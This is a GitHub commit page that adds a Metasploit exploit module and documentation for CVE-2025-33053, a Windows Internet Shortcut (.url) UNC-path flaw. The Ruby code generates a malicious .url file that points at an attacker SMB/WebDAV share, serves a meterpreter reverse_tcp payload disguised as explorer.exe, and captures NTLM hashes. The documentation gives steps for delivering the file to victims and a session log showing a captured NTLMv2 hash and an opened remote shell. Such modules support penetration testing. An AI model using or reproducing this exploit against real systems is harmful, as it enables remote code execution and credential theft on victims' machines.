Skip to content

Commit fde78bf

Browse files
msutovsky-r7msutovsky-r7
authored
Land #20324, adds exploit for UNC path in .url files (CVE-2025-33053)
Adds exploit module for Internet Shortcut UNC path vulnerability (CVE-2025-33053)
2 parents 6d84338 + e198cf6 commit fde78bf

File tree

2 files changed

+206
-0
lines changed

2 files changed

+206
-0
lines changed

‎documentation/modules/exploit/windows/fileformat/unc_url_cve_2025_33053.md

Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
## Vulnerable Application
2+
3+
CVE-2025-33053 - Internet Shortcut (.url) UNC Path Exploit
4+
5+
Windows improperly handles `.url` (Internet Shortcut) files referencing remote
6+
UNC paths. Specifically, `.url` files that specify a remote working directory
7+
(`WorkingDirectory=\\attacker\webdav`) and a trusted executable (e.g.,
8+
`iediagcmd.exe`) may cause the system to access the attacker's server when opened.
9+
10+
This behavior can be exploited to:
11+
12+
- Trigger NTLM authentication leaks (SMB relay)
13+
- Load remote payloads via WebDAV shares
14+
- Attempt DLL sideloading if conditions allow
15+
16+
## Affected Versions
17+
18+
- Windows 10 22H2
19+
- Windows 11 23H2
20+
- Fully patched prior to June 2025 Patch Tuesday
21+
22+
## Verification Steps
23+
24+
1. Run: `use windows/fileformat/unc_url_cve_2025_33053`
25+
2. Run: `set LHOST [IP address]`
26+
3. Run: `set SRVHOST [IP address]`
27+
4. Run: `run`
28+
5. Deliver the `.url` to the target (email, USB, zip)
29+
6. On victim's machine, open `.url`
30+
7. Payload execution
31+
32+
### Overview
33+
34+
This module generates a malicious `.url` Internet Shortcut file that abuses
35+
CVE-2025-33053 — a vulnerability in how Windows handles `.url` files referencing remote UNC
36+
paths.
37+
38+
When opened on a vulnerable system, the `.url` causes the system to connect to a
39+
UNC path(e.g., a WebDAV or SMB share), triggering an attempt to execute a trusted binary
40+
from the attacker's location. This can result in RCE or credential leaks.
41+
42+
43+
## Options
44+
45+
### OUTFILE
46+
This option allows user to define their own .url file. If this option is not set, the module will generate random .url file - `YWSXVjpW.url`.
47+
48+
### FOLDER_NAME
49+
The `FOLDER_NAME` option defines SMB share folder, where the final payload file is stored. Generally can be anything, default is `webdav`.
50+
51+
### FILE_NAME
52+
This option defines payload file stored in SMB share. This option should not change as it is bound to executable in `URL` parameter of `.url` file. The default value is `explorer.exe`.
53+
54+
55+
## Scenarios
56+
57+
```
58+
msf6 exploit(windows/fileformat/unc_url_cve_2025_33053) > run verbose=true
59+
[*] Exploit running as background job 2.
60+
[*] Exploit completed, but no session was created.
61+
62+
msf6 exploit(windows/fileformat/unc_url_cve_2025_33053) > [*] Started reverse TCP handler on 192.168.3.7:4444
63+
[*] URL file: /home/ms/.msf4/local/YWSXVjpW.url, deliver to target's machine and wait for shell
64+
[*] Run following: curl http://192.168.3.7:8080/YWSXVjpW.url -o YWSXVjpW.url
65+
[*] Server is running. Listening on 192.168.3.7:4445
66+
[*] The SMB service has been started.
67+
[*] Received SMB connection from 10.5.132.137
68+
[SMB] NTLMv2-SSP Client : 10.5.132.137
69+
[SMB] NTLMv2-SSP Username : WIN10_22H2_7FD2\msfuser
70+
[SMB] NTLMv2-SSP Hash : msfuser::WIN10_22H2_7FD2:[HASH]
71+
72+
[*] Sending stage (203846 bytes) to 10.5.132.137
73+
[*] Meterpreter session 1 opened (192.168.3.7:4444 -> 10.5.132.137:49740) at 2025-06-24 16:08:56 +0200
74+
75+
msf6 exploit(windows/fileformat/unc_url_cve_2025_33053) > sessions
76+
77+
Active sessions
78+
===============
79+
80+
Id Name Type Information Connection
81+
-- ---- ---- ----------- ----------
82+
1 meterpreter x64/windows WIN10_22H2_7FD2\msfuser @ WIN10_22H2_7FD2 192.168.3.7:4444 -> 10.5.132.137:49740 (10.5.132.137)
83+
84+
msf6 exploit(windows/fileformat/unc_url_cve_2025_33053) > sessions 1
85+
[*] Starting interaction with 1...
86+
87+
meterpreter > sysinfo
88+
Computer : WIN10_22H2_7FD2
89+
OS : Windows 10 22H2+ (10.0 Build 19045).
90+
Architecture : x64
91+
System Language : en_US
92+
Domain : WORKGROUP
93+
Logged On Users : 2
94+
Meterpreter : x64/windows
95+
```
96+
97+
98+
## References
99+
100+
- [GitHub PoC](https://github.com/DevBuiHieu/CVE-2025-33053-Proof-Of-Concept)
101+
- [NVD Entry](https://nvd.nist.gov/vuln/detail/CVE-2025-33053)
102+
- [LOLBAS Project](https://lolbas-project.github.io)
103+
- [Microsoft Advisory](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-33053)
104+

‎modules/exploits/windows/fileformat/unc_url_cve_2025_33053.rb

Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = NormalRanking
8+
9+
include Msf::Exploit::Remote::SMB::Server::Share
10+
include Msf::Exploit::Remote::SMB::Server::HashCapture
11+
include Msf::Exploit::FILEFORMAT
12+
include Msf::Exploit::EXE
13+
14+
def initialize(info = {})
15+
super(
16+
update_info(
17+
info,
18+
'Name' => 'CVE-2025-33053 Exploit via Malicious .URL File and WebDAV',
19+
'Description' => %q{
20+
This module exploits CVE-2025-33053 by generating a malicious .URL file pointing
21+
to a trusted LOLBAS binary with parameters designed to trigger unintended behavior.
22+
Optionally, a payload is generated and hosted on a specified WebDAV directory.
23+
When the victim opens the shortcut, it will attempt to access the WebDAV path,
24+
potentially resulting in remote code execution via a trusted binary.
25+
},
26+
27+
'Author' => [
28+
'Alexandra Gofman', # vuln research
29+
'David Driker', # vuln research
30+
'Dev Bui Hieu' # module dev
31+
],
32+
'License' => MSF_LICENSE,
33+
'DisclosureDate' => '2025-06-11',
34+
'References' => [
35+
['CVE', '2025-33053'],
36+
['URL', 'https://github.com/DevBuiHieu/CVE-2025-33053-Proof-Of-Concept']
37+
],
38+
'Platform' => 'win',
39+
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
40+
'Passive' => true,
41+
'Targets' => [['Windows (generic)', {}]],
42+
'DefaultOptions' => {
43+
'FOLDER_NAME' => 'webdav',
44+
'FILE_NAME' => 'explorer.exe',
45+
'DisablePayloadHandler' => false,
46+
'Payload' => 'windows/x64/meterpreter/reverse_tcp'
47+
},
48+
'DefaultTarget' => 0,
49+
'Notes' => {
50+
'Stability' => [CRASH_SAFE],
51+
'SideEffects' => [IOC_IN_LOGS],
52+
'Reliability' => [REPEATABLE_SESSION]
53+
}
54+
)
55+
)
56+
57+
register_options(
58+
[
59+
OptString.new('OUTFILE', [false, 'Output URL file name', '']),
60+
], self.class
61+
)
62+
end
63+
64+
def exploit_remote_load
65+
start_service
66+
print_status('The SMB service has been started.')
67+
68+
self.file_contents = generate_payload_exe
69+
end
70+
71+
def exploit
72+
write_url_file
73+
exploit_remote_load
74+
75+
stime = Time.now.to_f
76+
timeout = datastore['ListenerTimeout'].to_i
77+
loop do
78+
break if timeout > 0 && (stime + timeout < Time.now.to_f)
79+
80+
Rex::ThreadSafe.sleep(1)
81+
end
82+
end
83+
84+
def write_url_file
85+
content = generate_url_content
86+
outfile = datastore['OUTFILE'].blank? ? %(#{Rex::Text.rand_text_alphanumeric(8)}.url) : datastore['OUTFILE']
87+
path = store_local('webdav.url', nil, content, outfile)
88+
print_status("URL file: #{path}, deliver to target's machine and wait for shell.")
89+
end
90+
91+
def generate_url_content
92+
<<~URLFILE
93+
[InternetShortcut]
94+
URL=C:\\Windows\\System32\\CustomShellHost.exe
95+
WorkingDirectory=\\\\#{srvhost}\\#{share}\\#{folder_name}\\
96+
ShowCommand=7
97+
IconIndex=13
98+
IconFile=C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe
99+
Modified=20F06BA06D07BD014D
100+
URLFILE
101+
end
102+
end

0 commit comments

Comments
 (0)